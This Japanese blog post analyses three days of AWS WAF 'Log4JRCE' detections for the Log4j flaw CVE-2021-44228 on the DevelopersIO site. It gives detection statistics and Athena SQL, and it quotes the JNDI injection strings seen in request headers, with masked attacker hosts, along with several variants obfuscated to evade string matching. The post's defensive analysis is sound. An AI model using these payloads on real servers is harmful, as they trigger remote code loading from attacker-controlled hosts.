話題の記事

Log4j 脆弱性を緩和するAWS WAFの「Log4JRCE」DevelopersIOサイトの3日間の検出結果を紹介します

Log4j の脆弱性(CVE-2021-44228)を緩和する AWS WAFのマネージドルール「Log4JRCE」、DevelopersIOサイトで3日間(12/12~12/14)利用した結果を紹介します。
2021.12.15

AWSチームのすずきです。

2021年12月11日、Log4j の脆弱性(CVE-2021-44228)を緩和する AWS WAFのマネージドルール「Log4JRCE」が利用可能になりました。

当ブログ(DevelopersIO) の AWS WAF のログより「Log4JRCE」の検出結果について確認する機会がありましたので、紹介させていただきます。

環境

下記ブログで設定した AWS WAF ACLsを利用しました。

副作用(誤遮断)の回避を優先し、AWS WAFはカウントのみ、IDS相当として3日稼働させました。

結果

Amazon Athenaを利用、SQL(当記事末尾に記載)を利用して集計を試みました。

時間別集計

UTC日時 検出数
2021/12/12T19 2
2021/12/12T20 1
2021/12/12T21 2
2021/12/12T22 6
2021/12/12T23 6
2021/12/13T00 1
2021/12/13T01 2
2021/12/13T02 6
2021/12/13T03 5
2021/12/13T04 5
2021/12/13T05 5
2021/12/13T06 4
2021/12/13T08 1
2021/12/13T09 2
2021/12/13T10 3
2021/12/13T11 2
2021/12/13T21 3
2021/12/13T23 3
2021/12/14T02 3
2021/12/14T04 3
2021/12/14T05 3
2021/12/14T06 1
2021/12/14T08 5
2021/12/14T10 1

AWS WAFを設定して数時間で「Log4JRCE」による検出が発生していました。

ソースIP別集計

検出数 接続元IP
20 45.146.164.x
9 79.143.186.x
6 167.172.44.x
4 103.136.124.x
4 106.214.174.x
4 45.83.67.x
3 195.54.160.x
3 172.105.88.x
3 45.83.66.x
3 45.83.64.x
2 209.97.136.x
2 134.209.82.x
2 167.71.67.x
2 185.220.101.x
2 137.184.107.x
1 45.83.65.x
1 51.105.55.x
1 49.37.144.x
1 191.232.38.x
1 195.201.175.x
1 112.74.52.x

国別集計

検出数
25 DE
23 RU
10 NL
5 IN
4 SG
3 GB
2 US
1 -
1 BR
1 CN

AWS WAFによる国判定結果は、DE (ドイツ)、RU (ロシア)、NL (オランダ)が多く記録されていました。

Host

リクエストヘッダの「Host」別集計

検出数 value
18 dev.classmethod.jp
12 75.2.71.201
11 99.83.185.173
10 52.194.15.214
10 52.194.41.17
8 54.65.21.97

IPアドレスは、ELB (国内向)、Global Accelerator(海外向) のIPアドレスで利用中のものでした。

$ host 75.2.71.201 
201.71.2.75.in-addr.arpa domain name pointer a5b041b48e73d3807.awsglobalaccelerator.com.

$ host 52.194.15.214   
214.15.194.52.in-addr.arpa domain name pointer ec2-52-194-15-214.ap-northeast-1.compute.amazonaws.com.

$ host dev.classmethod.jp                                                                                                     
dev.classmethod.jp has address 75.2.71.201
dev.classmethod.jp has address 99.83.185.173
dev.classmethod.jp has IPv6 address 2406:da14:d37:ef12:9cfc:d7bb:1178:be60
dev.classmethod.jp has IPv6 address 2406:da14:d37:ef13:c7a8:b1f3:1bd9:9374
dev.classmethod.jp has IPv6 address 2406:da14:d37:ef11:45b4:dae7:d07:18f9
  • AWS が保有するIPアドレスを対象とした脆弱性のスキャンが行われたものと推測されます。
  • IPアドレスによるサービス公開を必要としない場合には、AWS WAF、ALBのルールなどを利用してIP直アクセスを遮断する事で、スキャンを回避する効果は期待出来ると思われます。

リクエストヘッダ(Key)

リクエストヘッダのValue値として、「$」「{」「:」を含むヘッダ項目を抽出しました。

検出数 ヘッダ項目
58 User-Agent
27 Referer
18 X-Api-Version
7 X-Requested-With
6 Authentication
6 Bearer
6 X-Requested-For
5 Origin
4 User-agent
1 Forwarded-For-Ip
1 Cache-Control
1 X-Forwarded-Host
1 Cookie
1 From
1 Pragma
1 X-Forwarded-Proto
1 Te
1 X-Forwarded-For
1 Upgrade
1 X-Forwarded-Scheme
1 X-Att-Deviceid
1 X-Forwarded-For-Original
1 X-Csrf-Token
1 X-Http-Path-Override
1 X-Http-Method
1 X-From
1 X-Csrftoken
1 X-Imbo-Test-Config
1 Via
1 X-Hub-Signature
1 X-Forwarded-Port
1 X-Insight
1 Warning
1 X-Request-Id
1 X-Https
1 X-Wap-Profile
1 X-Forwarded-Protocol
1 Accept-Charset
1 X-Ip
1 Forwarded
1 X-Forwarded-Server
1 X-Do-Not-Track
1 X-Ip-Trail
1 X-Forward-Proto
1 X-Forwarded-Ssl
1 X-Forwarder-For
1 X-Uidh
1 X-Frame-Options
1 X-Htx-Agent
1 X-Http-Host-Override
1 Accept-Datetime
1 Max-Forwards
1 X-If-Unmodified-Since
1 True-Client-Ip
1 X-Forwarded-By
1 Forwarded-For
1 X-Proxyuser-Ip
1 X-Xsrf-Token
1 Accept-Encoding
1 X-Correlation-Id
1 X-Forwarded
1 X-Geoip-Country
1 X-Http-Destinationurl
1 X-Http-Method-Override
1 Accept-Language
1 Forwarded-Proto
1 X-Forward-For

多くの報告がある、User-Agent以外のヘッダ項目についても攻撃に使われていました。

リクエストヘッダ(Value)

リクエストヘッダのValue値に「$」「{」「:」を含んでいるものを集計しました。

検出数 リクエストヘッダ(Key)
63 ${jndi:ldap://#.#.#.#:53/c}
20 ${jndi:ldap://#.#.#.#:42063/epepap}
18 ${jndi:dns://#.#.#.#/securityscan-http80}
15 ${jndi:dns://#.#.#.#/securityscan-https443}
10 ${jndi:ldap://#.#.#.#:389/LegitimateJavaClass}
8 ${jndi:${lower:l}${lower:d}a${lower:p}://#.log4j.bin${upper:a}#.#:8
5 ${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p://#.#.#.#:1389/t
5 ${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${e
5 ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}${upper
5 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://#.#.#.#:138
4 borchuk/3.1 ${jndi:ldap://#.#.#.#:42063/epepap}
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko,
3 https://${jndi:ldap://#.#.#.com/v5UFl.class}
3 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://#.#.#.#:123
3 ${jndi:dns://#.#.#.#.#.net/ua}
3 ${jndi:dns://#.#.#.#.#.net/ref}
3 https://google.com/${jndi:ldap://#.#.#.#.y.#.com/v5UFl.class

※IP、ホスト名はマスク済み

単純な文字列一致を回避する指定がありました。

  • ${jndi:ldap:
  • ${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p
  • ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:
  • ${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}

アウトバウンド通信の遮断回避と推測される、LDAP標準の389ポート以外が明示されている記録がありました。

  • ${jndi:ldap://#.#.#.#:53
  • ${jndi:ldap://#.#.#.#:42063

まとめ

AWS東京リージョンで公開されている 当サイト (DevelopersIO)、 関連システムを含めて Log4j の利用はない環境ですが、Log4j の脆弱性(CVE-2021-44228) を狙ったリクエストが到着している事が確認できました。

AWSのマネージドルール「Log4JRCE」この数日で頻繁な更新が行われている模様です。

  • 12/12: Version: 1.2
  • 12/14: Version: 1.6

今後もAWSが補足した攻撃パターンについては「Log4JRCE」ルールへの追加が期待できます。 Log4j の脆弱性の軽減を優先する場合、過去バージョンではなく最新(Dafalut)の「Known bad inputs」ルールセットをお試しください。

尚、AWS WAFによる遮断により一定のリスク軽減効果は期待できますが、 今回のLog4jの脆弱性を狙った攻撃パターンが多岐である事から、WAFのみで完全な防御の実現は困難と思われます。

脆弱なLog4jをインターネットアクセス可能な環境で利用しているシステムでは、アップデートなど早急な脆弱性対策を行う事をおすすめします。

参考

今回の AWS WAFログ確認に利用した AthenaのSQLです。

テーブル作成

  • LOCATIONstorage.location.template のS3パスを変更して利用
CREATE EXTERNAL TABLE `waf_logs`(
    `timestamp` bigint COMMENT 'from deserializer',
    `formatversion` int COMMENT 'from deserializer',
    `webaclid` string COMMENT 'from deserializer',
    `terminatingruleid` string COMMENT 'from deserializer',
    `terminatingruletype` string COMMENT 'from deserializer',
    `action` string COMMENT 'from deserializer',
    `terminatingrulematchdetails` array < struct < conditiontype :string,
    location :string,
    matcheddata :array < string > > > COMMENT 'from deserializer',
    `httpsourcename` string COMMENT 'from deserializer',
    `httpsourceid` string COMMENT 'from deserializer',
    `rulegrouplist` array < struct < rulegroupid :string,
    terminatingrule :struct < ruleid :string,
    action :string,
    rulematchdetails :string >,
    nonterminatingmatchingrules :array < struct < ruleid :string,
    action :string,
    rulematchdetails :array < struct < conditiontype :string,
    location :string,
    matcheddata :array < string > > > > >,
    excludedrules :array < struct < ruleid :string,
    exclusiontype :string > > > > COMMENT 'from deserializer',
    `ratebasedrulelist` array < struct < ratebasedruleid :string,
    limitkey :string,
    maxrateallowed :int > > COMMENT 'from deserializer',
    `nonterminatingmatchingrules` array < struct < ruleid :string,
    action :string > > COMMENT 'from deserializer',
    `requestheadersinserted` string COMMENT 'from deserializer',
    `responsecodesent` string COMMENT 'from deserializer',
    `httprequest` struct < clientip :string,
    country :string,
    headers :array < struct < name :string,
    value :string > >,
    uri :string,
    args :string,
    httpversion :string,
    httpmethod :string,
    requestid :string > COMMENT 'from deserializer',
    `labels` array < struct < name :string > > COMMENT 'from deserializer'
) PARTITIONED BY
    (
        `day` string
    ) ROW FORMAT SERDE 'org.openx.data.jsonserde.JsonSerDe' 
    STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' 
    OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat' 
    LOCATION 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl' TBLPROPERTIES(
        'projection.day.format' = 'yyyy/MM/dd',
        'projection.day.interval' = '1',
        'projection.day.interval.unit' = 'DAYS',
        'projection.day.range' = '2021/01/01,NOW',
        'projection.day.type' = 'date',
        'projection.enabled' = 'true',
        'storage.location.template' = 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl/${day}'
    )

集計

日時別

SELECT
  COUNT(1) AS "検出数",
  date_format(from_unixtime(timestamp / 1000), '%Y/%m/%dT%H') AS "UTC日時"
FROM
  waf_logs
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
GROUP BY
  date_format(from_unixtime(timestamp / 1000), '%Y/%m/%dT%H')
ORDER BY
  date_format(from_unixtime(timestamp / 1000), '%Y/%m/%dT%H')

ソースIP別

SELECT
  COUNT(1) AS "検出数",
  concat(regexp_extract("httprequest"."clientip", '([0-9]+\.[0-9]+\.[0-9]+\.)', 1), 'x') AS "接続元IP"
FROM
  "default"."waf_logs"
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
GROUP BY
  concat(regexp_extract("httprequest"."clientip", '([0-9]+\.[0-9]+\.[0-9]+\.)', 1), 'x')
ORDER BY
  COUNT(1)  DESC

国別

SELECT
  COUNT(1) AS "検出数",
  "httprequest"."country" as "国"
FROM
  "default"."waf_logs"
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
GROUP BY
  "httprequest"."country"
ORDER BY
  COUNT(1) DESC

Hostヘッダ別

SELECT
  COUNT(1) AS "検出数",
  header.VALUE
FROM
  waf_logs
  CROSS JOIN
    UNNEST(httprequest.headers) AS t(header)
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
AND LOWER(header.name) = 'host'
GROUP BY
  header.VALUE
ORDER BY
  COUNT(1) DESC

リクエストヘッダ(Key)

SELECT
  COUNT(1) AS "検出数",
  header.name
FROM
  waf_logs
  CROSS JOIN
    UNNEST(httprequest.headers) AS t(header)
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
and header.VALUE like '%$%'
and header.VALUE like '%{%'
and header.VALUE like '%:%'
GROUP BY
  header.name
ORDER BY
  COUNT(1) DESC

リクエストヘッダ(Value)

SELECT
  COUNT(1) AS "検出数",
  SUBSTRING(header.VALUE, 1, 80)
FROM
  waf_logs
  CROSS JOIN
    UNNEST(httprequest.headers) AS t(header)
WHERE
  day BETWEEN '2021/12/12' AND '2021/12/14'
AND labels[1].name LIKE '%Log4JRCE%'
AND header.VALUE LIKE '%$%'
AND header.VALUE LIKE '%{%'
AND header.VALUE LIKE '%:%'
GROUP BY
  SUBSTRING(header.VALUE, 1, 80)
ORDER BY
  COUNT(1) DESC